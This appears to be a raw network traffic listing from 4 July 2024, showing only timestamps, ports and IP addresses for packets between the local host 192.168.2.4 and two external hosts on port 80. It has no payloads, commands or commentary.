Jul 4, 2024 20:34:07.339427948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339443922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339448929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339458942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339473009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339476109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339488029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339488983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339502096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339505911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339518070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339519024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339543104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339549065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339557886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339571953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339572906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339586020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339589119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339601040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339615107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339617968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:07.339643002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:07.339665890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:08.056548119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:08.056586027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:08.062674999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:08.062818050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:08.969868898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:08.969932079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.132864952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.137907982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.330239058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.330257893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.330267906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.330410957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.330410957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.332885981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.337644100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.517848015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:09.517918110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.532282114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:09.537139893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:10.270571947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:10.270673990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:10.303832054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:10.308763027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:11.080192089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:11.080271006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:11.083559990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.088371992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.088489056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.088615894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.094538927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.814955950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.814977884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.814990997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815005064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815016031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815016985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.815025091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815036058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815052032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815056086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.815066099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815077066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.815083027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.815104961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.815118074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.819885015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.819938898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.819967985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.820012093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.820034027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.820045948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.820080042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932106018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932172060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932183027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932194948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932205915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932215929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932235003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932235003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932265043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932452917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932545900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932559013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932588100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932595968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932602882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.932622910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.932641029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933073997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933084965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933095932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933106899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933128119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933139086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933149099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933188915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933657885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933674097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933685064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933710098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933722019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933773994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933784962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933794975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.933819056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.933846951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.935306072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.935322046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.935333967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.935369968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.935399055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.935419083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.935463905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.937094927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.937144041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:11.937175989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:11.937216997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049510002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049549103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049566031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049576998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049577951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049587011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049606085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049609900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049609900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049616098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049627066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049637079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049648046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049652100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049666882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049685955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049742937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049773932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049784899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049794912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049801111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049801111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049806118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049814939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049815893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.049837112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.049866915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050504923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050535917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050548077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050570011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050570965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050606966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050697088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050708055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050736904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050745964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050755978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050770998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050801992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050812006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050829887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050843000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050856113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050865889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050874949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050877094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050889015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.050894976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050918102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.050946951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051356077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051374912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051386118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051403046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051419020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051449060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051460028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051470041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051481009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051491022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051503897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051532984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051573992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051585913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051595926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051605940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051615953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051618099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051626921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.051640987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051654100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.051685095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.052283049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.052329063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.052336931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.052347898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.052377939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.052391052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.052433968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.052448988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.052506924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.070664883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.070712090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.070719957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.070753098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.166619062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.166630983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.166641951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.166652918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.166676998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.166706085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167531013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167561054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167572021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167578936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167601109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167615891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167642117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167653084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167661905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167671919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167680025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167716980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167723894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167726994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167737007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167747974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167758942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167761087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167773962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167802095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167804956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167813063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167821884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.167845011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.167856932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168014050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168023109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168036938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168045998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168066978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168076992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168088913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168097973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168106079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168114901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168124914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168143034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168164968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168179035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168189049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168196917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168220997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168245077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168258905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168268919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168277025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168286085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168294907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.168298960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168330908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.168992043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169003963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169008970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169037104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169047117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169055939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169059038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169087887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169095993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169163942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169173956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169181108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169189930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169198036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169205904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169210911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169219971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169228077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169236898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169239044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169255018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169267893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.169941902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169951916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169961929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169972897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169982910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169991970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.169995070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170027971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170072079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170082092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170089960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170099020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170106888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170121908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170145988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170192003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170202017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170209885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170217991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170228004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170238972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170269012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170880079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170890093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170897961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170922995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170947075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.170975924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170985937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.170994043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171004057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171020031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171049118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171087027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171097040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171106100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171114922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171123981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171125889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171132088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171140909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171145916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171186924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171188116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171225071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.171853065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.171863079 CEST	80	49731	77.91.77.81	192.168.2.4
